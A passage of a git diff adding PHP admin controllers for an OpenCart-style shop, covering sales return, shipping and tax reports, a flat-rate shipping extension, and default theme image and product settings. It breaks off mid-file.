+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_return_status_id'])) {
+ $url .= '&filter_return_status_id=' . $this->request->get['filter_return_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_return' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_total - $this->config->get('config_limit_admin'))) ? $return_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_total, ceil($return_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_return_status_id'] = $filter_return_status_id;
+
+ return $this->load->view('extension/report/sale_return_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_shipping.php b/public/admin/controller/extension/report/sale_shipping.php
new file mode 100644
index 0000000..e70390a
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_shipping.php
@@ -0,0 +1,195 @@
+load->language('extension/report/sale_shipping');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_shipping', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_shipping', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_shipping', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_shipping_status'])) {
+ $data['report_sale_shipping_status'] = $this->request->post['report_sale_shipping_status'];
+ } else {
+ $data['report_sale_shipping_status'] = $this->config->get('report_sale_shipping_status');
+ }
+
+ if (isset($this->request->post['report_sale_shipping_sort_order'])) {
+ $data['report_sale_shipping_sort_order'] = $this->request->post['report_sale_shipping_sort_order'];
+ } else {
+ $data['report_sale_shipping_sort_order'] = $this->config->get('report_sale_shipping_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_shipping_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_shipping')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_shipping');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/sale');
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_extension_report_sale->getTotalShipping($filter_data);
+
+ $results = $this->model_extension_report_sale->getShipping($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'title' => $result['title'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_shipping' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/sale_shipping_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/sale_tax.php b/public/admin/controller/extension/report/sale_tax.php
new file mode 100644
index 0000000..a1dbe05
--- /dev/null
+++ b/public/admin/controller/extension/report/sale_tax.php
@@ -0,0 +1,197 @@
+load->language('extension/report/sale_tax');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_sale_tax', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/sale_tax', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/sale_tax', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_sale_tax_status'])) {
+ $data['report_sale_tax_status'] = $this->request->post['report_sale_tax_status'];
+ } else {
+ $data['report_sale_tax_status'] = $this->config->get('report_sale_tax_status');
+ }
+
+ if (isset($this->request->post['report_sale_tax_sort_order'])) {
+ $data['report_sale_tax_sort_order'] = $this->request->post['report_sale_tax_sort_order'];
+ } else {
+ $data['report_sale_tax_sort_order'] = $this->config->get('report_sale_tax_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/sale_tax_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/sale_tax')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/sale_tax');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $filter_group = $this->request->get['filter_group'];
+ } else {
+ $filter_group = 'week';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/sale');
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_group' => $filter_group,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_extension_report_sale->getTotalTaxes($filter_data);
+
+ $data['orders'] = array();
+
+ $results = $this->model_extension_report_sale->getTaxes($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'title' => $result['title'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency'))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['groups'] = array();
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_year'),
+ 'value' => 'year',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_month'),
+ 'value' => 'month',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_week'),
+ 'value' => 'week',
+ );
+
+ $data['groups'][] = array(
+ 'text' => $this->language->get('text_day'),
+ 'value' => 'day',
+ );
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_group'])) {
+ $url .= '&filter_group=' . $this->request->get['filter_group'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=sale_tax' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_group'] = $filter_group;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/sale_tax_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/shipping/flat.php b/public/admin/controller/extension/shipping/flat.php
new file mode 100644
index 0000000..1d4e161
--- /dev/null
+++ b/public/admin/controller/extension/shipping/flat.php
@@ -0,0 +1,99 @@
+load->language('extension/shipping/flat');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('shipping_flat', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=shipping', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=shipping', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/shipping/flat', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/shipping/flat', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=shipping', true);
+
+ if (isset($this->request->post['shipping_flat_cost'])) {
+ $data['shipping_flat_cost'] = $this->request->post['shipping_flat_cost'];
+ } else {
+ $data['shipping_flat_cost'] = $this->config->get('shipping_flat_cost');
+ }
+
+ if (isset($this->request->post['shipping_flat_tax_class_id'])) {
+ $data['shipping_flat_tax_class_id'] = $this->request->post['shipping_flat_tax_class_id'];
+ } else {
+ $data['shipping_flat_tax_class_id'] = $this->config->get('shipping_flat_tax_class_id');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['shipping_flat_geo_zone_id'])) {
+ $data['shipping_flat_geo_zone_id'] = $this->request->post['shipping_flat_geo_zone_id'];
+ } else {
+ $data['shipping_flat_geo_zone_id'] = $this->config->get('shipping_flat_geo_zone_id');
+ }
+
+ $this->load->model('localisation/geo_zone');
+
+ $data['geo_zones'] = $this->model_localisation_geo_zone->getGeoZones();
+
+ if (isset($this->request->post['shipping_flat_status'])) {
+ $data['shipping_flat_status'] = $this->request->post['shipping_flat_status'];
+ } else {
+ $data['shipping_flat_status'] = $this->config->get('shipping_flat_status');
+ }
+
+ if (isset($this->request->post['shipping_flat_sort_order'])) {
+ $data['shipping_flat_sort_order'] = $this->request->post['shipping_flat_sort_order'];
+ } else {
+ $data['shipping_flat_sort_order'] = $this->config->get('shipping_flat_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/shipping/flat', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/shipping/flat')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/theme/default.php b/public/admin/controller/extension/theme/default.php
new file mode 100644
index 0000000..85ac383
--- /dev/null
+++ b/public/admin/controller/extension/theme/default.php
@@ -0,0 +1,414 @@
+load->language('extension/theme/default');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('theme_default', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['product_limit'])) {
+ $data['error_product_limit'] = $this->error['product_limit'];
+ } else {
+ $data['error_product_limit'] = '';
+ }
+
+ if (isset($this->error['product_description_length'])) {
+ $data['error_product_description_length'] = $this->error['product_description_length'];
+ } else {
+ $data['error_product_description_length'] = '';
+ }
+
+ if (isset($this->error['image_category'])) {
+ $data['error_image_category'] = $this->error['image_category'];
+ } else {
+ $data['error_image_category'] = '';
+ }
+
+ if (isset($this->error['image_manufacturer'])) {
+ $data['error_image_manufacturer'] = $this->error['image_manufacturer'];
+ } else {
+ $data['error_image_manufacturer'] = '';
+ }
+
+ if (isset($this->error['image_thumb'])) {
+ $data['error_image_thumb'] = $this->error['image_thumb'];
+ } else {
+ $data['error_image_thumb'] = '';
+ }
+
+ if (isset($this->error['image_popup'])) {
+ $data['error_image_popup'] = $this->error['image_popup'];
+ } else {
+ $data['error_image_popup'] = '';
+ }
+
+ if (isset($this->error['image_product'])) {
+ $data['error_image_product'] = $this->error['image_product'];
+ } else {
+ $data['error_image_product'] = '';
+ }
+
+ if (isset($this->error['image_additional'])) {
+ $data['error_image_additional'] = $this->error['image_additional'];
+ } else {
+ $data['error_image_additional'] = '';
+ }
+
+ if (isset($this->error['image_related'])) {
+ $data['error_image_related'] = $this->error['image_related'];
+ } else {
+ $data['error_image_related'] = '';
+ }
+
+ if (isset($this->error['image_compare'])) {
+ $data['error_image_compare'] = $this->error['image_compare'];
+ } else {
+ $data['error_image_compare'] = '';
+ }
+
+ if (isset($this->error['image_wishlist'])) {
+ $data['error_image_wishlist'] = $this->error['image_wishlist'];
+ } else {
+ $data['error_image_wishlist'] = '';
+ }
+
+ if (isset($this->error['image_cart'])) {
+ $data['error_image_cart'] = $this->error['image_cart'];
+ } else {
+ $data['error_image_cart'] = '';
+ }
+
+ if (isset($this->error['image_location'])) {
+ $data['error_image_location'] = $this->error['image_location'];
+ } else {
+ $data['error_image_location'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/theme/default', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/theme/default', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true);
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $setting_info = $this->model_setting_setting->getSetting('theme_default', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['theme_default_directory'])) {
+ $data['theme_default_directory'] = $this->request->post['theme_default_directory'];
+ } elseif (isset($setting_info['theme_default_directory'])) {
+ $data['theme_default_directory'] = $setting_info['theme_default_directory'];
+ } else {
+ $data['theme_default_directory'] = 'default';
+ }
+
+ $data['directories'] = array();
+
+ $directories = glob(DIR_CATALOG . 'view/theme/*', GLOB_ONLYDIR);
+
+ foreach ($directories as $directory) {
+ $data['directories'][] = basename($directory);
+ }
+
+ if (isset($this->request->post['theme_default_product_limit'])) {
+ $data['theme_default_product_limit'] = $this->request->post['theme_default_product_limit'];
+ } elseif (isset($setting_info['theme_default_product_limit'])) {
+ $data['theme_default_product_limit'] = $setting_info['theme_default_product_limit'];
+ } else {
+ $data['theme_default_product_limit'] = 15;
+ }
+
+ if (isset($this->request->post['theme_default_status'])) {
+ $data['theme_default_status'] = $this->request->post['theme_default_status'];
+ } elseif (isset($setting_info['theme_default_status'])) {
+ $data['theme_default_status'] = $setting_info['theme_default_status'];
+ } else {
+ $data['theme_default_status'] = '';
+ }
+
+ if (isset($this->request->post['theme_default_product_description_length'])) {
+ $data['theme_default_product_description_length'] = $this->request->post['theme_default_product_description_length'];
+ } elseif (isset($setting_info['theme_default_product_description_length'])) {
+ $data['theme_default_product_description_length'] = $setting_info['theme_default_product_description_length'];
+ } else {
+ $data['theme_default_product_description_length'] = 100;
+ }
+
+ if (isset($this->request->post['theme_default_image_category_width'])) {
+ $data['theme_default_image_category_width'] = $this->request->post['theme_default_image_category_width'];
+ } elseif (isset($setting_info['theme_default_image_category_width'])) {
+ $data['theme_default_image_category_width'] = $setting_info['theme_default_image_category_width'];
+ } else {
+ $data['theme_default_image_category_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_category_height'])) {
+ $data['theme_default_image_category_height'] = $this->request->post['theme_default_image_category_height'];
+ } elseif (isset($setting_info['theme_default_image_category_height'])) {
+ $data['theme_default_image_category_height'] = $setting_info['theme_default_image_category_height'];
+ } else {
+ $data['theme_default_image_category_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_manufacturer_width'])) {
+ $data['theme_default_image_manufacturer_width'] = $this->request->post['theme_default_image_manufacturer_width'];
+ } elseif (isset($setting_info['theme_default_image_manufacturer_width'])) {
+ $data['theme_default_image_manufacturer_width'] = $setting_info['theme_default_image_manufacturer_width'];
+ } else {
+ $data['theme_default_image_manufacturer_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_manufacturer_height'])) {
+ $data['theme_default_image_manufacturer_height'] = $this->request->post['theme_default_image_manufacturer_height'];
+ } elseif (isset($setting_info['theme_default_image_manufacturer_height'])) {
+ $data['theme_default_image_manufacturer_height'] = $setting_info['theme_default_image_manufacturer_height'];
+ } else {
+ $data['theme_default_image_manufacturer_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_thumb_width'])) {
+ $data['theme_default_image_thumb_width'] = $this->request->post['theme_default_image_thumb_width'];
+ } elseif (isset($setting_info['theme_default_image_thumb_width'])) {
+ $data['theme_default_image_thumb_width'] = $setting_info['theme_default_image_thumb_width'];
+ } else {
+ $data['theme_default_image_thumb_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_thumb_height'])) {
+ $data['theme_default_image_thumb_height'] = $this->request->post['theme_default_image_thumb_height'];
+ } elseif (isset($setting_info['theme_default_image_thumb_height'])) {
+ $data['theme_default_image_thumb_height'] = $setting_info['theme_default_image_thumb_height'];
+ } else {
+ $data['theme_default_image_thumb_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_popup_width'])) {
+ $data['theme_default_image_popup_width'] = $this->request->post['theme_default_image_popup_width'];
+ } elseif (isset($setting_info['theme_default_image_popup_width'])) {
+ $data['theme_default_image_popup_width'] = $setting_info['theme_default_image_popup_width'];
+ } else {
+ $data['theme_default_image_popup_width'] = 500;
+ }
+
+ if (isset($this->request->post['theme_default_image_popup_height'])) {
+ $data['theme_default_image_popup_height'] = $this->request->post['theme_default_image_popup_height'];
+ } elseif (isset($setting_info['theme_default_image_popup_height'])) {
+ $data['theme_default_image_popup_height'] = $setting_info['theme_default_image_popup_height'];
+ } else {
+ $data['theme_default_image_popup_height'] = 500;
+ }
+
+ if (isset($this->request->post['theme_default_image_product_width'])) {
+ $data['theme_default_image_product_width'] = $this->request->post['theme_default_image_product_width'];
+ } elseif (isset($setting_info['theme_default_image_product_width'])) {
+ $data['theme_default_image_product_width'] = $setting_info['theme_default_image_product_width'];
+ } else {
+ $data['theme_default_image_product_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_product_height'])) {
+ $data['theme_default_image_product_height'] = $this->request->post['theme_default_image_product_height'];
+ } elseif (isset($setting_info['theme_default_image_product_height'])) {
+ $data['theme_default_image_product_height'] = $setting_info['theme_default_image_product_height'];
+ } else {
+ $data['theme_default_image_product_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_default_image_additional_width'])) {
+ $data['theme_default_image_additional_width'] = $this->request->post['theme_default_image_additional_width'];
+ } elseif (isset($setting_info['theme_default_image_additional_width'])) {
+ $data['theme_default_image_additional_width'] = $setting_info['theme_default_image_additional_width'];
+ } else {
+ $data['theme_default_image_additional_width'] = 74;
+ }
+
+ if (isset($this->request->post['theme_default_image_additional_height'])) {
+ $data['theme_default_image_additional_height'] = $this->request->post['theme_default_image_additional_height'];
+ } elseif (isset($setting_info['theme_default_image_additional_height'])) {
+ $data['theme_default_image_additional_height'] = $setting_info['theme_default_image_additional_height'];
+ } else {
+ $data['theme_default_image_additional_height'] = 74;
+ }
+
+ if (isset($this->request->post['theme_default_image_related_width'])) {
+ $data['theme_default_image_related_width'] = $this->request->post['theme_default_image_related_width'];
+ } elseif (isset($setting_info['theme_default_image_related_width'])) {
+ $data['theme_default_image_related_width'] = $setting_info['theme_default_image_related_width'];
+ } else {
+ $data['theme_default_image_related_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_related_height'])) {
+ $data['theme_default_image_related_height'] = $this->request->post['theme_default_image_related_height'];
+ } elseif (isset($setting_info['theme_default_image_related_height'])) {
+ $data['theme_default_image_related_height'] = $setting_info['theme_default_image_related_height'];
+ } else {
+ $data['theme_default_image_related_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_compare_width'])) {
+ $data['theme_default_image_compare_width'] = $this->request->post['theme_default_image_compare_width'];
+ } elseif (isset($setting_info['theme_default_image_compare_width'])) {
+ $data['theme_default_image_compare_width'] = $setting_info['theme_default_image_compare_width'];
+ } else {
+ $data['theme_default_image_compare_width'] = 90;
+ }
+
+ if (isset($this->request->post['theme_default_image_compare_height'])) {
+ $data['theme_default_image_compare_height'] = $this->request->post['theme_default_image_compare_height'];
+ } elseif (isset($setting_info['theme_default_image_compare_height'])) {
+ $data['theme_default_image_compare_height'] = $setting_info['theme_default_image_compare_height'];
+ } else {
+ $data['theme_default_image_compare_height'] = 90;
+ }
+
+ if (isset($this->request->post['theme_default_image_wishlist_width'])) {
+ $data['theme_default_image_wishlist_width'] = $this->request->post['theme_default_image_wishlist_width'];
+ } elseif (isset($setting_info['theme_default_image_wishlist_width'])) {
+ $data['theme_default_image_wishlist_width'] = $setting_info['theme_default_image_wishlist_width'];
+ } else {
+ $data['theme_default_image_wishlist_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_wishlist_height'])) {
+ $data['theme_default_image_wishlist_height'] = $this->request->post['theme_default_image_wishlist_height'];
+ } elseif (isset($setting_info['theme_default_image_wishlist_height'])) {
+ $data['theme_default_image_wishlist_height'] = $setting_info['theme_default_image_wishlist_height'];
+ } else {
+ $data['theme_default_image_wishlist_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_cart_width'])) {
+ $data['theme_default_image_cart_width'] = $this->request->post['theme_default_image_cart_width'];
+ } elseif (isset($setting_info['theme_default_image_cart_width'])) {
+ $data['theme_default_image_cart_width'] = $setting_info['theme_default_image_cart_width'];
+ } else {
